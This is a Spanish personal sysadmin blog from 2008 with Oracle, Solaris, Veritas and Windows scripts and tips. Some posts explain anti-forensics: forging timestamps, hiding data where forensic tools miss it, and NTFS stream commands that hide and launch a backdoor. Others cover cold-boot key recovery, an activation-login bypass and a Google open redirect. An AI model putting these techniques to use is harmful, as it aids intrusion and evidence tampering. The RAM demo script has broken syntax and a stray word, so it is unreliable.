SELECT 'Número de indices particionados inactivos' , count(ip.partition_name) Indices FROM dba_ind_partitions ip, dba_part_indexes pi WHERE ip.index_name = pi.index_name AND ip.status = 'UNUSABLE' AND OWNER='USRSI';
TTITLE OFF;

--Revisió de blocks dels indexs que estan unasable
TTITLE CENTER 'Revisió de blocks dels indexos que estan unasable'
SELECT 'Número de indices particionadas en estado unusable' , pi.table_name , ip.partition_name FROM dba_ind_partitions ip, dba_part_indexes pi WHERE ip.index_name = pi.index_name AND ip.status = 'UNUSABLE' AND OWNER='USRSI';
TTITLE OFF;

--Estat Tablespaces.
TTITLE CENTER 'Estat tablespaces'
select * from dba_tablespaces;
TTITLE OFF;

--Estat DataFiles.
TTITLE CENTER 'Estat DataFiles'
select * from dba_data_files;
TTITLE OFF;

-- Sessions obertes que porten més d´un dia connectades
TTITLE CENTER 'Sessions obertes que porten més d´un dia connectades'
select * from v$session where ((sysdate - (LOGON_TIME))>1) and (SCHEMANAME<>'SYS');
TTITLE OFF;

exit;

lunes, julio 28, 2008

Habilitar SAR (Solaris <=9)

Descomentar /etc/init.d/perf:

if [ -z "$_INIT_RUN_LEVEL" ]; then
set -- `/usr/bin/who -r`
_INIT_RUN_LEVEL="$7"
_INIT_RUN_NPREV="$8"
_INIT_PREV_LEVEL="$9"
fi

if [ $_INIT_RUN_LEVEL -ge 2 -a $_INIT_RUN_LEVEL -le 4 -a \
$_INIT_RUN_NPREV -eq 0 -a \( $_INIT_PREV_LEVEL = 1 -o \
$_INIT_PREV_LEVEL = S \) ]; then

/usr/bin/su sys -c "/usr/lib/sa/sadc /var/adm/sa/sa`date +%d`"
fi


Activar el crontab del sys:

0 * * * 0-6 /usr/lib/sa/sa1
20,40 8-17 * * 1-5 /usr/lib/sa/sa1
5 18 * * 1-5 /usr/lib/sa/sa2 -s 8:00 -e 18:01 -i 1200 -A


Y ejecutar el script:

/etc/init.d/perf

jueves, julio 24, 2008

Recuperar datos de la RAM tras apagar el equipo

En la entrada reciente titulada "Anti-Forensics", Anonimo me dejo un comentario que decia:

Creo que lo que hablas de la memoria es esto:

http://citp.princeton.edu/memory/

saludos
andoni


Yo no lo lei ahi, pero me ha dado por escribir sobre ello basandome (profundamente) en esa pagina.

La RAM almacena datos de lo que actualmente esta corriendo en el ordenador. Todo programa o proceso en ejecucion esta en la RAM. Otra cosa es que haya accesos a disco para recuperar informacion, pero todo lo que se esta ejecutando esta en la RAM.

(Casi) cualquier informatico, incluso expertos, te dirian que cuando apagas el ordenador, los datos que estaban en la RAM se pierden. Eso es falso. Los datos de la RAM van desapareciendo en un tiempo que oscila entre varios segundos y varios minutos, permitiendo el analisis forense de esos datos aunque se haya apagado el equipo.

Para aumentar este tiempo, podemos usar sprays de aire comprimido que enfrien la RAM a temperaturas cercanas a los -50ºC. Si el asunto es serio, puedes usar nitrogeno liquido hasta alcanzar cerca de los -200ºC para mantener en los chips la informacion durante HORAS.

Esto puede ser usado para capturar passwords almacenados en RAM, lo cual es muy frecuente que ocurra. Y tambien puede ser usado para violar utilidades de cifrado como Truecrypt, pues todas ellas se basan en almacenar las claves de descifrado en RAM. Esto se hizo asi porque lo creian seguro, pues el S.O. no deja a ningun programa acceder a estas claves en memoria, y en principio la unica manera de pasar del S.O. seria apagando el equipo, con lo cual todo el mundo sabe que las claves almacenadas en RAM desaparecerian. Todo el mundo menos los que como no sabian que era imposible, lo hicieron.

Pasemos a la accion.

Apagamos la maquina. Arrancamos con un S.O. desde nuestra llave USB por ejemplo, y copiamos el contenido de la memoria.

Haciendo esto habremos conseguido passwords almacenados en memoria, y claves de cifrado que podriamos usar para descifrar datos cifrados en disco.

Pero antes de pasar a la accion, esperemos un momento, demostremos todo esto.

UNIX. Crea un programa con un bucle infinito tal que asi:

#!/bin/bash
a = 'hola'
b = 'vlan7'
while [ 1 ]; do
c = '$a$b'
done


Pero antes de ejecutarlo, pasa todo el contenido de la memoria al disco.

sync

Ejecutalo ahora. No se mostrara nada, pero al cabo de un rato veras que el ordenador empieza a leer de disco, pues la RAM se ha llenado.

Bien, ahora dale al boton de reset, y, cuando la maquina arranque, busca risperdal en memoria:

# strings /dev/mem |less

Veras trozos de la cadena vlan7. Esa es la prueba de que datos de la RAM permanecieron tras el reset de la maquina.

Y ahora el ataque. Y como yo soy asi, solo dire que podeis encontrar herramientas recientes (16-Jul-2008) en http://citp.princeton.edu/memory/code/

Arranque, parada y exports de BBDD Oracle en un cluster Veritas bajo Solaris 8

Arranque:

#bd_start 1.1
#vlan7 / 3-7-2008
#Arranca la bd pasada como parametro $1 si la bd reside en mi nodo
#
#News from 1.0 (17-6-2008) to 1.1
#Full PATH comandos cluster
#
#Ejemplo llamada:
#./bd_start.sh grupo_bd
#
#!/bin/bash
/opt/VRTSvcs/bin/halogin user pass
#S1=Quien tiene la BBDD
S1=`/opt/VRTSvcs/bin/hares -state $1 |grep ONLINE |awk '{print $3}'`
S2=`hostname`

if [ $S1 != $S2 ];
then
/opt/VRTSvcs/bin/hares -online $1 -sys $S1
fi


Parada:

#bd_shut 1.1
#vlan7 / 3-7-2008
#Para la bd pasada como parametro $1 si la bd reside en mi nodo
#
#News from 1.0 (17-6-2008) to 1.1
#Full PATH comandos cluster
#
#Ejemplo llamada:
#./bd_shut.sh grupo_bd
#
#!/bin/bash
/opt/VRTSvcs/bin/halogin user pass
#S1=Quien tiene la BBDD
S1=`/opt/VRTSvcs/bin/hares -state $1 |grep ONLINE |awk '{print $3}'`
S2=`hostname`

#Si la bd la tengo yo, la paro
if [ $S1 = $S2 ];
then
/opt/VRTSvcs/bin/hares -offline $1 -sys $S1
fi


Exports:

#export 1.2
#vlan7 / 22-7-2008
#exports de la bd pasada como parametro $1 si el recurso $2 reside en mi nodo
#
#News from 1.1 (3-7-2008) to 1.2
#***
#News from 1.0 (17-6-2008) to 1.1
#Full PATH comandos cluster
#
#Ejemplo llamada:
#./export.sh bd grupo_bd
#
#!/bin/bash
ORACLE_BASE=/u01/app/oracle
ORACLE_HOME=/u01/app/oracle/product/9.2.0.1.0
ORACLE_SID=$1
ORA_NLS33=$ORACLE_HOME/ocommon/nls/admin/data
PATH=$PATH:$ORACLE_HOME/bin:/usr/bin:/etc:/usr/ccs/bin:/usr/ucb:/usr/openwin/bin:/usr/local/bin
NLS_LANG=american_america.we8iso8859p1

export ORACLE_BASE ORACLE_HOME ORACLE_SID ORANLS33 PATH NLS_LANG
/opt/VRTSvcs/bin/halogin user pass
#S1=Quien tiene la BBDD
S1=`/opt/VRTSvcs/bin/hares -state $2 |grep ONLINE |awk '{print $3}'`
S2=`hostname`

#Si la bd la tengo yo, hago los exports
if [ $S1 = $S2 ];
then
case $1 in
bd_comun1|bd_comun2|bd_comun3)
exp system/pass full=y grants=y rows=y file=/ruta/$1.dmp;;

bd_no_comun)
exp system/pass full=y grants=y rows=y file=/ruta/bd_no_comun.dmp;;

bd_no_comun_2)
exp system/pass tables='bd_no_comun2.sample_point' indexes=y grants=y rows=y file=/ruta/samplepoints.dmp;;

*) echo "Error. bd $1 inexistente";;
esac
fi

lunes, julio 21, 2008

Veritas Cluster Server. Verificacion nodo activo

Script para verificar si soy el nodo activo en el cluster VCS.

#nodo_activo_yo.sh / vlan7 / 25-6-2008
#
#Devuelve 1 si yo es el grupo activo
#Devuelve 0 si yo NO es el grupo activo
#
#Comprobar el valor de retorno consultando la variable $?
#
#Ejemplo llamada:
#./node_activo_yo.sh
#
#!/bin/bash
/opt/VRTS/bin/halogin login password
#S1=Quien es el nodo activo
S1=`/opt/VRTS/bin/hagrp -state grupo_yo |grep ONLINE |awk {'print $3'}`
S2=`hostname`

#Si yo es el grupo activo, devuelvo 1
if [ $S1 == $S2 ]
then
exit 1
else
exit 0
fi

miércoles, julio 16, 2008

ftp recursivo modo texto

En modo texto o usamos clientes ftp que permitan recursividad, como ncftp, o mediante wget algo como:

wget -r -p ftp://user:pass@server.com/directorio/*

La opcion -p es para que mantenga los permisos, aunque a mi desde un Solaris 8 Sparc al menos no me funciona; pero eso dice la documentacion oficial.

sábado, julio 12, 2008

Anti-forensics

He posteado en Wadalbertia un texto sobre anti-forensics. Como este es mi blog personal que cree porque estaba cansado de tener cien libretas con hacks o soluciones a problemas que me iba encontrando, un buen dia me dije "bueno vlan7, todo dios tiene un blog, abrete uno con una de tus pasiones, pulsiones diria yo mas bien, y asi te sirve como futura referencia. Y si sirve a alguien mas de algo mejor". Y cree este blog. El fin de este blog no sois vosotros, soy yo, pero creo en compartir la informacion como virtud, asi que no podia crearme un foro phpbb2 en local e ir poniendo posts en subforos.

Bueno, ahi va, no lo formateo porque no me apetece:

Ya que nuestro compañero el vikingo esta haciendo un buen trabajo en analisis forense de sistemas de archivos, me he animado a escribir algo sobre el otro lado, anti-forensics.

Empecemos.

"Como no sabian que era imposible, lo hicieron"

El cifrado y la estenografia pueden proteger tus datos. Esto es ya de sobra conocido asi que no dire nada.

Otro metodo seguramente conocido. Sobreescribir los datos. Cualquier wipe deberia funcionar, pero para los mas paranoicos, el mas estricto es uno que hicieron los chicos del THC, que cumplia con el analisis presentado en el siguiente documento ya clasico:

Secure Deletion of Data from Magnetic and Solid-State Memory

Peter Gutmann
Department of Computer Science
University of Auckland
pgut001@cs.auckland.ac.nz

This paper was first published in the Sixth USENIX Security Symposium Proceedings, San Jose, California, July 22-25, 1996
Published under the Creative Commons license.

http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html

La NSA considera un borrado seguro aquel que hace 30 y pico pasadas sobreescribiendo el disco. De todas formas a mi me parece exagerado. Yo no conozco manera de recuperar un disco del que se han hecho siquiera 4 pasadas de sobreescritura. Pero para los mas paranoicos ahi queda eso.

Bueno, ya esta bien, empecemos a hablar de asuntos serios.

Los forenses se basan muchas veces en la fecha de ultima modificacion de un archivo para deducir evidencias de backdoors, archivos troyanizados, etc.

Empecemos por Linux. Pongo como ejemplo el sistema de archivos ext3, el cual desarrollo una china muy guapa, pero eso es otro tema. ¿Linux es open source no? Bien, abramos /usr/src/linux/include/linux/ext3_fs.h

Pasteemos la parte relevante. Como diria mi amigo Kynes al hacer un modelo en ciencia: "quitemos ruido vlan7".

struct ext3_inode {
__u16 i_mode; /* File mode */
__u16 i_uid; /* Low 16 bits of Owner Uid */
__u32 i_size; /* Size in bytes */
__u32 i_atime; /* Access time */
__u32 i_ctime; /* Creation time */
__u32 i_mtime; /* Modification time */
__u32 i_dtime; /* Deletion Time */
241: __u16 i_gid; /* Low 16 bits of Group Id */


Hay mas, pero solo nos interesa ese trozo. Y de ese trozo, las 2 lineas en negrita. Tenemos 2 llamadas que podemos usar para modificar esos "stamps"

#include
#include int utime( const char * filename,
const struct utimbuf * buf);

#include int utimes( const char * filename,
const struct timeval times[2]);

O podemos usar el The Defiler's Toolkit. Incluso podriamos usar el comando touch...

¿Y en windows? El proyecto Metasploit (www.metasploit.com/projects/antiforensics) ha desarrollado una utilidad muy maja llamada Timestamp. Es valida para NTFS. Y creo que solo para NTFS.

Un inciso sobre esto. En Windows podemos evitar que se actualice la fecha de ultima modificacion de un archivo. HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisableLastAccessUpdate Lo ponemos a 1 y ya podemos modificar lo que queramos que la fecha de ultima modificacion no se vera alterada. Gracias Microsoft. Me han dicho que esto esta a 1 por defecto en Vista, no lo he podido comprobar, pero me parece raro.

Pasemos pagina. Hablemos ahora de esconder datos. ¿A que me refiero con esconder datos? Pues a esteganografia no, me refiero a guardar datos en sitios anormales del disco.

Linux. Podemos guardar datos en swap. Luego dicen que la swap no es importante. Tambien nos decian de canijos "el contenido de la RAM se pierde nada mas apagar el ordenador". Hace 3 meses o asi lei que un tio decia que era posible averiguar que datos habia en la RAM hasta pocos minutos despues de apagar el equipo. Era todo muy teorico y muy electronico. Ni siquiera recuerdo donde lo lei, pero parecia serio. Al grano. Linux swap. Podemos crear en la swap un segmento marcado como paginas_invalidas, bad_pages creo que dicen los guiris, y guardar nuestros datos a partir de ahi. La herramienta que yo conozco se llama Bigboo.

Seguimos en Linux. Algunos sistemas de archivos como ext2, asumen demasiadas cosas. En ext2 el i-nodo de la raiz es el numero 2, y ext2 ejemplo asume que no pueden existir bloques defectuosos antes del i-nodo de la raiz. Y algunas herramientas forenses, por lo menos el The Coroner's Toolkit ese famoso y The Sleuth Kit en UNIX asumen lo mismo y no miran ahi. Bien, creemos un bad block en el i-nodo 1 del disco. Por ejemplo, con Runefs, que forma parte de The Defiler's Toolkit.

Espacio indefinido. No se como traducir unallocated. Bien, algunas herramientas forenses solo examinan la parte del disco que esta particionada, olvidandose de la parte sin particionar. ¿Herramientas capaces de alojar datos en el espacio "unallocated" entre particiones? StegFS para Linux. Slacker de Metasploit para Win.

¿Estabamos hablando de esconder no? Sigamos. Con TrueCrypt podemos crear un segundo sistema de archivos oculto en el visible. ¿Esto por que? Porque si eres detenido y te obligan a cantar la contraseña de TrueCrypt, siempre tienes en ese sistema de archivos oculto en el habitual la informacion realmente sensible. Asi que aun te quedan esperanzas de que lo descubierto sea suficiente para tus interrogadores.

Aun hay mas. ext3 todos sabemos que es ext2+journaling. Waffen FS puede almacenar datos en el espacio reservado para journaling.

Mas comentarios breves sobre Linux. Ky FS puede guardar datos escondiendolos en directorios.

En Linux, The Defiler's Toolkit puede almacenar datos y marcar esos bloques como bad. Eso evadia a un viejo The Coroner's Toolkit, pero no a una version de 2006 o asi. The Sleuth Kit tambien es capaz de analizar datos en bad sectors.

Vayamonos a Win. NTFS. NTFS tiene una caracteristica que se llama Alternate Stream Date (ASD). ¿Que quiere decir esto? En la practica esto nos permite crear archivos en archivos. Veamoslo con un ejemplo:

c:\ type backdoor.exe >%systemroot%\notepad.exe:backdoor_muy_mala.exe

notepad.exe seguira igual. Mismo tamaño, mismo contenido. Para ejecutar nuestra backdoor:

c:\> start .\..\..\..\..\..\..\..\%systemroot%\notepad.exe:backdoor_muy_mala.exe

Y bueno, estoy cansado, esto sobre anti-forensics en sistemas de archivos por hoy. Tiene mas chicha esto, hay analisis forense en trafico de red (y anti-forense, ¿alguien recuerda Loki de phrack? Era bello eh...), hay metodos de ataque anti-forense activos como dejar de antemano el menor numero de huellas posibles, buscad en google. O acciones tan simples como usar una live-CD, o montar una particion como read-only...

Pero antes tan solo nombrar una herramienta muy maja que forma parte de Metasploit: Transmogrify. Sirve para evadir analisis de archivos modificados. Evadir al mitico tripwire. Sobre esto solo terminar con una frase: Es posible crear 2 archivos diferentes con el mismo hash MD5. ¿Y esto para que nos sirve? ¿Vosotros que pensais, que utilidad tiene esto en anti-forense?

Suerte y Exitos.

miércoles, julio 09, 2008

UNIX, buscar archivos que contengan una cadena

Tuve que buscar una cadena del home de Oracle en el trabajo, la cadena /apps/oracle/OraHome92 y este es el comando que programe para la noche en una tarea crontab.

Es todo una linea, pero lo pongo separado con explicaciones de lo que queria:

Listo todos los archivos del sistema
find / -print

Me quedo con archivos de texto, no quiero hacer grep a ningun binario. Busco tambien la cadena script porque eso devuelve en un Solaris 8 el comando file a un script ksh.
|xargs file |egrep 'text|script'

Quiero el primer campo, que es la ruta completa del archivo.
|awk {'print $1'}
Quiero eliminar el ultimo caracter, que son ":", quiero hacerlo ruta valida.
|sed -e 's/.$//'

Solo quiero estas extensiones.
|egrep '.sh$|.sql$|.dbf$'

Busco la cadena, listo los ficheros no las ocurrencias de esa cadena y lo redirijo todo a un archivo.
|xargs grep -l /apps/oracle/OraHome92 |xargs ls -la >/oracle_home.txt

viernes, junio 13, 2008

Quitar publicidad de funpic (II)

Hace un tiempo me preguntaron en un comentario como hacerlo en PHP. Yo respondi lo siguiente:

Es complicado, pues PHP se ejecuta antes de llegar al navegador, por lo tanto antes de cargar el onload.

De todas formas se me ocurre un sucio hack para al menos conseguir que se cierre la publicidad inmediatamente despues de ser cargada, o incluso antes de ser cargada, habria que hacer pruebas:

echo "<body onload='" AquiElCodigo "'>";


Viendo un foro frances que me enlaza recientemente hacia esa entrada, me encuentro con que un tal Katakras dice lo siguiente:

Facil, en los archivos PHP de la raiz principal(especialmente leftmenu.php), en la primera linea pon este codigo:

<![CDATA[
</body>
]]>
</html>

Encima del <?php y todo, en la primera linea y listo!!
Yo lo hago asi y va de maravilla...

Monitorizar pings, tnspings, URLs sin y con autenticacion. VBS

La parte de comprobar la autenticacion puede simplificarse si no hay ninguna pagina intermedia.

'CLD.VBS 1.2 (CheckListDiari 1.2)
'vlan7 - http://vlan7.blogspot.com - From Scratch

'News from 1.1 to 1.2 / 12-Jun-2008
'Añadida comprobacion login en webs con Please Wait

'News from 1.0 to 1.1 / 11-Jun-2008
'Añadida comprobacion de que las webs estan up y corriendo
'Pequeñas mejoras de estilo

'1.0 / 6-Jun-2008
'Comprueba pings / tnspings

'Entradas:
'pings.txt - Maquinas a las que hacer ping
'tnspings.txt - Maquinas a las que hacer tnsping
'webs_no_login.txt - WEBs sin login a comprobar que esten up y corriendo
'webs_login.txt - WEBs con login a comprobar que esten up, corriendo y login OK

'Formato entradas:
'pings.txt, tnspings.txt, webs_no_login.txt - Un host/IP/URL por linea
'webs_login.txt - 3 lineas: URL login, URL accesible solo logeado, patron a buscar

'Salida:
'Escribe en una hoja Excel on-the-fly:
'pings, tnspings, webs_no_login - Escribe Online / *OFF*
'webs_login - Escribe Online / *OFF* + Login OK / Login *NO* OK
'Orden: pings, tnspings, webs_no_login, webs_login

Set objExcel = CreateObject("Excel.Application")
objExcel.Visible = True
objExcel.Workbooks.Add

objExcel.Cells(1, 1).Value = "Maquinas"
objExcel.Cells(1, 2).Value = "Resultado"

Set Fso = CreateObject("Scripting.FileSystemObject")

i = 2 'Fila

' *** pings ***
Set InputFile = fso.OpenTextFile("pings.txt")

Do While Not (InputFile.atEndOfStream)
HostName = InputFile.ReadLine
Set WshShell = WScript.CreateObject("WScript.Shell")
Ping = WshShell.Run("ping -n 1 " & HostName, 0, True)
objExcel.Cells(i, 1).Value = HostName

If Ping = 0 Then
objExcel.Cells(i, 2).Value = "On Line"
Else
objExcel.Cells(i, 2).Value = "*OFF*"
End If

i = i + 1 'Siguiente fila
Loop

i = i + 1 'Una linea en blanco

' *** tnspings ***
Set InputFile = fso.OpenTextFile("tnspings.txt")

Do While Not (InputFile.atEndOfStream)
HostName = InputFile.ReadLine
Set WshShell = WScript.CreateObject("WScript.Shell")
TnsPing = WshShell.Run("tnsping " & HostName, 0, True)
objExcel.Cells(i, 1).Value = HostName

If TnsPing = 0 Then
objExcel.Cells(i, 2).Value = "On Line"
Else
objExcel.Cells(i, 2).Value = "*OFF*"
End If

i = i + 1 'Siguiente fila
Loop

i = i + 1 'Una linea en blanco

' *** WEBs NO LOGIN***
Set InputFile = fso.OpenTextFile("webs_no_login.txt")

Do While Not (InputFile.atEndOfStream)
URL = InputFile.ReadLine
Set WshShell = WScript.CreateObject("WScript.Shell")
objExcel.Cells(i, 1).Value = URL

'Comprobamos conectividad

Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.Open "GET", URL, False
objHttp.Send

If objHTTP.statusText = "OK" Then
objExcel.Cells(i, 2).Value = "On Line"
End If

objExcel.Cells(i, 3).Value = "No necesario login"

i = i + 1 'Siguiente fila
Loop

i = i + 1 'Una linea en blanco

' *** WEBs LOGIN ***
Set InputFile = fso.OpenTextFile("webs_login.txt")

Do While Not (InputFile.atEndOfStream)
URL = InputFile.ReadLine
Set WshShell = WScript.CreateObject("WScript.Shell")

objExcel.Cells(i, 1).Value = URL

'Comprobamos conectividad

Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.Open "GET", url, False
objHttp.Send

If objHTTP.statusText = "OK" Then
objExcel.Cells(i, 2).Value = "On Line"
URL_login = InputFile.ReadLine 'URL test login
patron = InputFile.Readline 'Cadena a buscar
WScript.Sleep 2000 'sleep de 2 segundos para que de tiempo a cargar pagina final

'Comprobamos login
objHTTP.Open "GET", URL_login, False
objHttp.Send
objExcel.Cells(i, 3).Value = "Login *NO* OK"

arrLines = Split(objHTTP.responseText, vbCrLf)
For Each strLine in arrLines
If InStr(strLine, patron) <> 0 then 'Si patron encontrado
objExcel.Cells(i, 3).Value = "Login OK"
end if
Next
End If
i = i + 1 'Siguiente fila
Loop

'Formato resaltado fila 1
objExcel.Range("A1:B1").Select
objExcel.Selection.Interior.ColorIndex = 19
objExcel.Selection.Font.ColorIndex = 11
objExcel.Selection.Font.Bold = True

'objExcel.Cells.EntireColumn.AutoFit

Testear FTP bash

Esta codificado para testear FTP, pero es facilmente adaptable a cualquier otro servicio.

#check_ftp.sh 1.1
#vlan7 - http://vlan7.blogspot.com
#
#Based on GNUcitizen's bash portscanner
#
#News from 1.0 to 1.1 / 13-Jun-2008
#if-else en vez de 2 ifs, mas elegante, 1 comprobacion menos
#
#1.0 / 12-Jun-2008
#Chequea status FTPs
#
#Requisitos: bash
#
#Entrada: ftps.txt
#
#Salida: Escribe en salida estandar "FTP OK" / "FTP *NO* OK"
#
#Formato Entrada: Un server FTP por linea
#
#Nota: Para escanear otros puertos puede ser necesario mandar logout / exit en vez de quit
#
#!/bin/bash
for host in $(cat ftps.txt) ; do
if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep 'Connected to' >/dev/null; then
echo -en "FTP $host OK\n";
else
echo -en "FTP $host *NO* OK\n";
fi
done

martes, junio 03, 2008

Mantener perfil en Win tras unirse a un dominio

¿Alguna vez has querido mantener -copiar- tu perfil de usuario local al unir tu maquina a un dominio?

¿O mantener el perfil que tenias en un dominio al cambiarte a otro dominio?

Profwiz

miércoles, mayo 21, 2008

Backup de un UNIX a otro UNIX a traves de ssh (en una tercera maquina)

Escenario:

viejo: Gentoo 2004.0 corriendo Apache, postfix, proFTPd, etc

nuevo: Gentoo 2008.0 beta2

medio: ssh

Queremos todos nuestros daemons de viejo en nuevo, tal y como los teniamos configurados en viejo, todo a traves de una tercera maquina llamada medio.

Por supuesto, es necesario que las maquinas sean accesibles entre si por ssh.

Hacemos un backup de los sistemas de archivos /boot y / de viejo a medio por ssh. Si tuvieramos mas sistemas de archivos hariamos lo mismo con los restantes. Mejor asegurarse de que las versiones de dump/restore son las mismas en todas las maquinas.

vlan7@viejo $ dump -0uan -f - /boot | ssh -c aes256-cbc vlan7@medio dd of=/home/vlan7/backup/dump-viejo-boot.bak

dump -0uan -f - / | ssh -c aes256-cbc vlan7@medio dd of=/home/vlan7/backup/dump-viejo-raiz.bak


Vemos las etiquetas de los sistemas de archivos de viejo:

vlan7@viejo $ tune2fs -l /dev/sda1
vlan7@viejo $ tune2fs -l /dev/sda2


Las necesitaremos despues. O tendremos un kernel panic.

Vamos a nuevo y creamos los sistemas de archivos:

vlan7@nuevo $ mkfs -t ext2 /dev/sda1

vlan7@nuevo $ mke2fs -j /dev/sda2

vlan7@nuevo $ mkswap /dev/sda3


Los etiquetamos igual que en viejo:

vlan7@nuevo $ tune2fs -L "/boot" /dev/sda1

vlan7@nuevo $ tune2fs -L "/" /dev/sda2


Los montamos:

vlan7@nuevo $ mkdir /mnt/sda1

vlan7@nuevo $ mount /dev/sda1 /mnt/sda1

vlan7@nuevo $ mkdir /mnt/sda2

vlan7@nuevo $ mount /dev/sda2 /mnt/sda2


Y finalmente restauramos el backup:

vlan7@nuevo $ cd /mnt/sda1

vlan7@nuevo $ ssh vlan7@medio "cat /home/vlan7/backup/dump-boot-viejo.bak" | restore -r -f -

vlan7@nuevo $ cd /mnt/sda2

vlan7@nuevo $ ssh vlan7@medio "cat /home/vlan7/backup/dump-raiz-viejo.bak" | restore -r -f -


medio puede ser nuestra unidad de cintas, y dejar ahi almacenados nuestros backups.

tail para windows

¿Alguna vez has querido hacer en windows un tail -f error_log?

Tail for windows

martes, mayo 20, 2008

Windows XP. Evitar que Windows Messenger se ejecute al inicio

gpedit.msc

Habilitar las dos directivas de grupo que se encuentran en:

Equipo / Plantillas administrativas / Componentes de Windows / Windows Messenger / ...

<EDIT 20-7-2008>
Windows Messenger, no MSN Messenger como creyo algun anonimo
</EDIT 20-7-2008>

viernes, mayo 16, 2008

Win juego Corazones. Ver cartas de los oponentes

HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts

Crear un nuevo valor con nombre ZB de tipo string y valor 42

Pulsando CTRL+ALT+MAYUS+F12 deberiamos ver las cartas de los oponentes.

"Evitar" que nos cambien pagina inicio IE

HKCU/Software/Policies/Microsoft

Creamos una nueva clave llamada Internet Explorer, y dentro de esta otra llamada Control Panel, y aqui creamos un valor DWORD con nombre Homepage.

Valor 1 no es posible cambiar la pagina de inicio.

Valor 0 si es posible cambiarla.

Util para poner en cybers y demas sitios publicos nuestra pagina personal como pagina de inicio, y que solo puedan cambiarnosla si conocen esta clave de registro.

jueves, mayo 15, 2008

Quiero mis iconos en su sitio

¿Alguna vez has instalado unos nuevos drivers de la tarjeta grafica? ¿Has cambiado quizas la resolucion? Entonces habras maldecido por que windows nos cambia todos los iconos de sitio.

Es lamentable que Windows no permita de serie evitar esto.

La solucion esta en el kit de recursos de NT. Si, NT. Se incluye una DLL llamada layout.dll que nos sirve precisamente para mantener nuestros iconos en su sitio. Funciona en cualquier Windows aun, Vista incluido.

Podemos bajarlo de http://mcs.krasis.es/C/L/?V02_35142_MjU3MDYyMSAg

Copia la DLL a %systemroot%\system32

Doble click en el .REG para registrarla.

Ahora tenemos dos nuevas opciones al pulsar con el boton derecho en Mi PC, y podremos guardar la posicion de los iconos del escritorio y restaurarla en cualquier momento.

Solo funciona en 32 bits, en 64 bits debemos acudir a una version que ha programado un tal Serge Baranov y que podemos encontrar en http://amip.tools-for.net/files/dips64/

Lo he leido en el boletin mensual campusMVP que me mandan desde que soy MCSA.

miércoles, mayo 14, 2008

Logearse en un windows cuyo periodo de activacion ha expirado

Si no activas win en 30 dias, este expira y no nos deja iniciar sesion.

En la pantalla de login, selecciona un usuario.

Dara error y nos dira que win ha expirado y que si queremos activarlo. Di que si.

Minimiza (no cierres) la pantalla de "Vamos a activar Windows".

Tecla de Windows + U

Se abre el programa narrador (accesibilidad para vision pobre).

Haz click en el pequeño icono de ordenador que aparece en la esquina superior izquierda de la ventana.

Se nos abrira la pantalla de "Acerca de".

Fijate que hay un link a la pagina de Microsoft. Pincha en el.

Uau, acceso a Internet :)

Tambien puedes acceder a tus archivos introduciendo como direccion C:\

Intentar iniciar el proceso explorer.exe en XP para tener barra de abajo no sirve de mucho, pues se cierra a los pocos instantes. Pero me han dicho que Vista no finaliza el proceso explorer.exe, hecho que no he podido confirmar.

Que lo disfruteis.

viernes, mayo 09, 2008

Tuneando Opera

Busco velocidad y menos bytes ocupados en memoria en la version de Windows.

Casi todo el codigo de Opera esta en la libreria opera.dll.

En Opera 9.5:

upx -d opera.dll

En versiones anteriores, busca ASPackDie (o stripper 2.07).

Compara el uso de memoria... es muy significativo.

Nadie busca un equipo en su LAN, y si tenemos un DNS local que que administra una zona de nuestra LAN existente tambien en internet (nuestro DNS tiene un registro SOA que le da autoridad sobre la zona), ya se encargara el DNS de resolvernos la IP del servidor web local en lugar de hacernos salir a Internet. Desactivemos esto:

Preferencias / Avanzado / Redes / Completar nombre del servidor

Si no usamos el autocompletado, desactivarlo tambien.

¿Tienes un ordenador viejo y las imagenes pesadas tardan en cargarse?

Edita opera6.ini e incluye:

Turbo mode = 0

Aviso que en lugar de ver las imagenes cargarse progresivamente, las veras de golpe.

Ajustar el historial:

Opciones / Historial / Direcciones

Yo establezco 100. En Opera 9.x por defecto son 500. En Opera 8.x eran como 10.000, una locura.

Hay gente que afirma obtener un mejor rendimiento configurando Opera para que almacene la cache en una flash USB. Yo no noto nada, es humanamente imperceptible y es engorroso.

miércoles, mayo 07, 2008

Redireccion http en Google

Hoy leyendo mi correo, he aprendido algo de un spammer. Quien lo diria...

En el mensaje de spam, el spammer trataba de colarme malware usando un hack que no conocia, y es que es posible usar google para redirigir a cualquier otra URL.

Por ejemplo, podriamos usar Google para redirigir a la URL de este mi blog:

http://www.google.com/pagead/iclk?sa=l&ai=Lqhdok&num=23815&adurl=http://vlan7.blogspot.com

Haciendo pruebas me he dado cuenta de que no se para que sirven los parametros ai y num, pues pongas lo que pongas, Google siempre te redirige a la URL especificada en el parametro adurl. Por ejemplo:

http://www.google.com/pagead/iclk?sa=l&ai=vlan7&num=77777&adurl=http://vlan7.blogspot.com

martes, mayo 06, 2008

Solaris. Creando un servidor local para pkg-get

Todo lo de la entrada anterior esta muy bien, pero resulta que en el trabajo, en un cliente, los servidores no pueden tener acceso a internet por motivos de seguridad.

Tenia que instalar OpenSSH para Solaris 8. Bajando paquetes de sunfreeware.com tenia problemas con una libreria: libcrypto. La dependencia OpenSSL me instalaba una version anterior de la libreria, aun instalando la ultima version de OpenSSL.

Instalar libgcc e incluir la ruta de las librerias en la variable de entorno LD_LIBRARY_PATH ademas de intentar engañar al sistema creando un enlace blando a la vieja version con el nombre de la nueva... no sirvio de nada.

Vi que los chicos de Blastwave daban la opcion de instalar paquetes con pkg-get desde un cdrom, pero costaba dinero ese DVD.

pkg-get permite especificar /cdrom/cdrom0/paquete , asi que pense en editar la ruta del "repositorio" en el archivo de configuracion de pkg-get para que la url apuntara a la ruta local de mi directorio donde tenia el paquete openssh bajado de http://blastwave.solaris-fr.org/

La primera en la frente, me di cuenta de que iba a buscarlos a sparc/5.8

Bien, movi el paquete a sparc/5.8 dejando la ruta del archivo de configuracion como estaba, y la segunda en la frente. Faltaba el catalogo.

Buscando en google encontre una pagina (http://www.sunfreeware.com/pkg-get.html) con el archivo BOLTpget.pkg que me dispuse a bajar y a instalar en el sistema con

pkgadd -d BOLT*

Actualice (cree) el catalogo:

pkg-get -U

Probe de nuevo a hacer un pkg-get -i openssh pero me fue pidiendo archivos necesarios para todo "repositorio" de pkg-get.

